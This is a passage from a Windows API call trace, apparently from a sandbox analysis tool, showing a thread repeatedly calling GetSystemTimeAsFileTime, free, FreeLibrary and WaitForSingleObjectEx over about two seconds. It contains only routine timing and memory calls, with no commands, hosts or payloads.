lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30748dc5, dwHighDateTime=0x1d9eb0c)) [0195.779] free (_Block=0x20abc281dc0) [0195.779] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.780] free (_Block=0x20abc2867b0) [0195.781] free (_Block=0x20abc27cf80) [0195.781] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x307e143c, dwHighDateTime=0x1d9eb0c)) [0195.831] free (_Block=0x20abc282060) [0195.831] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0195.832] free (_Block=0x20abc2867b0) [0195.833] free (_Block=0x20abc27cb20) [0195.834] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.970] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.970] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x309ab159, dwHighDateTime=0x1d9eb0c)) [0196.024] free (_Block=0x20abc281aa0) [0196.024] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.025] free (_Block=0x20abc2867b0) [0196.026] free (_Block=0x20abc27cb20) [0196.026] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x309d1338, dwHighDateTime=0x1d9eb0c)) [0196.039] free (_Block=0x20abc282000) [0196.039] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.039] free (_Block=0x20abc2867b0) [0196.040] free (_Block=0x20abc27cb20) [0196.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x309d1338, dwHighDateTime=0x1d9eb0c)) [0196.045] free (_Block=0x20abc281a20) [0196.046] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.046] free (_Block=0x20abc2867b0) [0196.047] free (_Block=0x20abc27cb20) [0196.047] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x309f73cb, dwHighDateTime=0x1d9eb0c)) [0196.053] free (_Block=0x20abc281dc0) [0196.053] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.054] free (_Block=0x20abc2867b0) [0196.055] free (_Block=0x20abc27cf80) [0196.055] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x309f73cb, dwHighDateTime=0x1d9eb0c)) [0196.061] free (_Block=0x20abc281960) [0196.061] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.062] free (_Block=0x20abc2867b0) [0196.062] free (_Block=0x20abc27cf80) [0196.062] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30ab6072, dwHighDateTime=0x1d9eb0c)) [0196.134] free (_Block=0x20abc281ce0) [0196.134] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.135] free (_Block=0x20abc2867b0) [0196.135] free (_Block=0x20abc27cb20) [0196.135] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30adc5c8, dwHighDateTime=0x1d9eb0c)) [0196.144] free (_Block=0x20abc282060) [0196.144] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.144] free (_Block=0x20abc2867b0) [0196.145] free (_Block=0x20abc27cb20) [0196.145] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30adc5c8, dwHighDateTime=0x1d9eb0c)) [0196.151] free (_Block=0x20abc281e80) [0196.151] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.152] free (_Block=0x20abc2867b0) [0196.152] free (_Block=0x20abc27cb20) [0196.153] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30b02788, dwHighDateTime=0x1d9eb0c)) [0196.160] free (_Block=0x20abc281f20) [0196.160] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.160] free (_Block=0x20abc2867b0) [0196.161] free (_Block=0x20abc27cb20) [0196.161] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30b02788, dwHighDateTime=0x1d9eb0c)) [0196.166] free (_Block=0x20abc281b80) [0196.166] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.167] free (_Block=0x20abc2867b0) [0196.167] free (_Block=0x20abc27cb20) [0196.167] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30ca603f, dwHighDateTime=0x1d9eb0c)) [0196.335] free (_Block=0x20abc281c80) [0196.335] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.336] free (_Block=0x20abc2867b0) [0196.336] free (_Block=0x20abc27cb20) [0196.336] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30ca603f, dwHighDateTime=0x1d9eb0c)) [0196.341] free (_Block=0x20abc2819a0) [0196.341] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.342] free (_Block=0x20abc2867b0) [0196.343] free (_Block=0x20abc27cb20) [0196.343] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30ccc1aa, dwHighDateTime=0x1d9eb0c)) [0196.349] free (_Block=0x20abc281ba0) [0196.349] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.350] free (_Block=0x20abc2867b0) [0196.350] free (_Block=0x20abc27cb20) [0196.351] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30ccc1aa, dwHighDateTime=0x1d9eb0c)) [0196.356] free (_Block=0x20abc281cc0) [0196.356] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.357] free (_Block=0x20abc2867b0) [0196.358] free (_Block=0x20abc27cb20) [0196.358] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30cf22fe, dwHighDateTime=0x1d9eb0c)) [0196.366] free (_Block=0x20abc2819a0) [0196.367] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.367] free (_Block=0x20abc2867b0) [0196.368] free (_Block=0x20abc27cb20) [0196.368] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30db0fd8, dwHighDateTime=0x1d9eb0c)) [0196.441] free (_Block=0x20abc2820a0) [0196.441] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.441] free (_Block=0x20abc2867b0) [0196.442] free (_Block=0x20abc27cf80) [0196.442] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30db0fd8, dwHighDateTime=0x1d9eb0c)) [0196.452] free (_Block=0x20abc281a40) [0196.452] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.452] free (_Block=0x20abc2867b0) [0196.453] free (_Block=0x20abc27cf80) [0196.453] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30dd738a, dwHighDateTime=0x1d9eb0c)) [0196.463] free (_Block=0x20abc281e60) [0196.463] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.463] free (_Block=0x20abc2867b0) [0196.464] free (_Block=0x20abc27cf80) [0196.464] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30dfd431, dwHighDateTime=0x1d9eb0c)) [0196.470] free (_Block=0x20abc281ee0) [0196.470] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.471] free (_Block=0x20abc2867b0) [0196.471] free (_Block=0x20abc27cb20) [0196.471] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30dfd431, dwHighDateTime=0x1d9eb0c)) [0196.476] free (_Block=0x20abc281ba0) [0196.477] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.477] free (_Block=0x20abc2867b0) [0196.478] free (_Block=0x20abc27cb20) [0196.478] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30f083be, dwHighDateTime=0x1d9eb0c)) [0196.591] free (_Block=0x20abc281d40) [0196.591] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.592] free (_Block=0x20abc2867b0) [0196.592] free (_Block=0x20abc27cb20) [0196.592] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30f2e717, dwHighDateTime=0x1d9eb0c)) [0196.602] free (_Block=0x20abc282020) [0196.602] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.603] free (_Block=0x20abc2867b0) [0196.604] free (_Block=0x20abc27cf80) [0196.604] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30f2e717, dwHighDateTime=0x1d9eb0c)) [0196.609] free (_Block=0x20abc281be0) [0196.609] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.610] free (_Block=0x20abc2867b0) [0196.611] free (_Block=0x20abc27cb20) [0196.611] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30f556f4, dwHighDateTime=0x1d9eb0c)) [0196.617] free (_Block=0x20abc281fe0) [0196.617] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.618] free (_Block=0x20abc2867b0) [0196.618] free (_Block=0x20abc27cb20) [0196.619] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30f556f4, dwHighDateTime=0x1d9eb0c)) [0196.624] free (_Block=0x20abc281b60) [0196.624] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.624] free (_Block=0x20abc2867b0) [0196.625] free (_Block=0x20abc27cb20) [0196.625] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x30f7ac74, dwHighDateTime=0x1d9eb0c)) [0196.632] free (_Block=0x20abc281e80) [0196.632] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.632] free (_Block=0x20abc2867b0) [0196.633] free (_Block=0x20abc27cb20) [0196.633] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3105f9aa, dwHighDateTime=0x1d9eb0c)) [0196.732] free (_Block=0x20abc282000) [0196.732] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.732] free (_Block=0x20abc2867b0) [0196.733] free (_Block=0x20abc27cb20) [0196.733] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31085c9d, dwHighDateTime=0x1d9eb0c)) [0196.744] free (_Block=0x20abc281ea0) [0196.744] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.744] free (_Block=0x20abc2867b0) [0196.745] free (_Block=0x20abc27cf80) [0196.745] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x310abf90, dwHighDateTime=0x1d9eb0c)) [0196.753] free (_Block=0x20abc281a00) [0196.753] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.753] free (_Block=0x20abc2867b0) [0196.754] free (_Block=0x20abc27cf80) [0196.754] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x310abf90, dwHighDateTime=0x1d9eb0c)) [0196.759] free (_Block=0x20abc281f20) [0196.759] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.760] free (_Block=0x20abc2867b0) [0196.760] free (_Block=0x20abc27cb20) [0196.760] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x310abf90, dwHighDateTime=0x1d9eb0c)) [0196.766] free (_Block=0x20abc281fe0) [0196.766] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.774] free (_Block=0x20abc2867b0) [0196.774] free (_Block=0x20abc27cf80) [0196.775] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x310d2223, dwHighDateTime=0x1d9eb0c)) [0196.781] free (_Block=0x20abc281ac0) [0196.781] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.781] free (_Block=0x20abc2867b0) [0196.783] free (_Block=0x20abc27cb20) [0196.783] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x311dd174, dwHighDateTime=0x1d9eb0c)) [0196.885] free (_Block=0x20abc282060) [0196.885] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.885] free (_Block=0x20abc2867b0) [0196.886] free (_Block=0x20abc27cb20) [0196.886] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31203510, dwHighDateTime=0x1d9eb0c)) [0196.892] free (_Block=0x20abc281960) [0196.893] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.893] free (_Block=0x20abc2867b0) [0196.894] free (_Block=0x20abc27cb20) [0196.894] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31203510, dwHighDateTime=0x1d9eb0c)) [0196.900] free (_Block=0x20abc281fa0) [0196.900] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.901] free (_Block=0x20abc2867b0) [0196.901] free (_Block=0x20abc27cb20) [0196.902] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31229850, dwHighDateTime=0x1d9eb0c)) [0196.908] free (_Block=0x20abc281dc0) [0196.908] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.909] free (_Block=0x20abc2867b0) [0196.909] free (_Block=0x20abc27cb20) [0196.909] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31229850, dwHighDateTime=0x1d9eb0c)) [0196.916] free (_Block=0x20abc281e80) [0196.916] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.917] free (_Block=0x20abc2867b0) [0196.917] free (_Block=0x20abc27cb20) [0196.918] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0196.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3124fb25, dwHighDateTime=0x1d9eb0c)) [0196.925] free (_Block=0x20abc281ba0) [0196.925] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0196.926] free (_Block=0x20abc2867b0) [0196.927] free (_Block=0x20abc27cb20) [0196.927] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x313349d8, dwHighDateTime=0x1d9eb0c)) [0197.030] free (_Block=0x20abc281b00) [0197.030] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.031] free (_Block=0x20abc2867b0) [0197.031] free (_Block=0x20abc27cb20) [0197.126] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3143f8e5, dwHighDateTime=0x1d9eb0c)) [0197.135] free (_Block=0x20abc281e60) [0197.135] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.136] free (_Block=0x20abc2867b0) [0197.137] free (_Block=0x20abc27cf80) [0197.137] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31465a2d, dwHighDateTime=0x1d9eb0c)) [0197.143] free (_Block=0x20abc281cc0) [0197.143] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.143] free (_Block=0x20abc2867b0) [0197.144] free (_Block=0x20abc27cb20) [0197.144] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31465a2d, dwHighDateTime=0x1d9eb0c)) [0197.149] free (_Block=0x20abc281ee0) [0197.149] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.150] free (_Block=0x20abc2867b0) [0197.151] free (_Block=0x20abc27cb20) [0197.151] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31465a2d, dwHighDateTime=0x1d9eb0c)) [0197.156] free (_Block=0x20abc281d20) [0197.157] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.157] free (_Block=0x20abc2867b0) [0197.158] free (_Block=0x20abc27cb20) [0197.158] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x315e2fac, dwHighDateTime=0x1d9eb0c)) [0197.307] free (_Block=0x20abc281ae0) [0197.307] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.308] free (_Block=0x20abc2867b0) [0197.309] free (_Block=0x20abc27cb20) [0197.309] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x316093b8, dwHighDateTime=0x1d9eb0c)) [0197.314] free (_Block=0x20abc281fe0) [0197.315] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.315] free (_Block=0x20abc2867b0) [0197.316] free (_Block=0x20abc27cb20) [0197.316] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x316093b8, dwHighDateTime=0x1d9eb0c)) [0197.323] free (_Block=0x20abc281cc0) [0197.323] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.324] free (_Block=0x20abc2867b0) [0197.325] free (_Block=0x20abc27cb20) [0197.325] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3162f8ba, dwHighDateTime=0x1d9eb0c)) [0197.331] free (_Block=0x20abc281c00) [0197.331] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.331] free (_Block=0x20abc2867b0) [0197.332] free (_Block=0x20abc27cb20) [0197.332] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3162f8ba, dwHighDateTime=0x1d9eb0c)) [0197.339] free (_Block=0x20abc281d60) [0197.339] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.340] free (_Block=0x20abc2867b0) [0197.341] free (_Block=0x20abc27cb20) [0197.341] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3167bd54, dwHighDateTime=0x1d9eb0c)) [0197.366] free (_Block=0x20abc281dc0) [0197.366] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.366] free (_Block=0x20abc2867b0) [0197.367] free (_Block=0x20abc27cb20) [0197.367] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x318135d1, dwHighDateTime=0x1d9eb0c)) [0197.535] free (_Block=0x20abc281e20) [0197.535] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.536] free (_Block=0x20abc2867b0) [0197.537] free (_Block=0x20abc27cb20) [0197.537] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x318832da, dwHighDateTime=0x1d9eb0c)) [0197.573] free (_Block=0x20abc281e00) [0197.573] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.574] free (_Block=0x20abc2867b0) [0197.574] free (_Block=0x20abc2a8500) [0197.575] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.575] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x319bb093, dwHighDateTime=0x1d9eb0c)) [0197.701] free (_Block=0x20abc281bc0) [0197.701] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.703] free 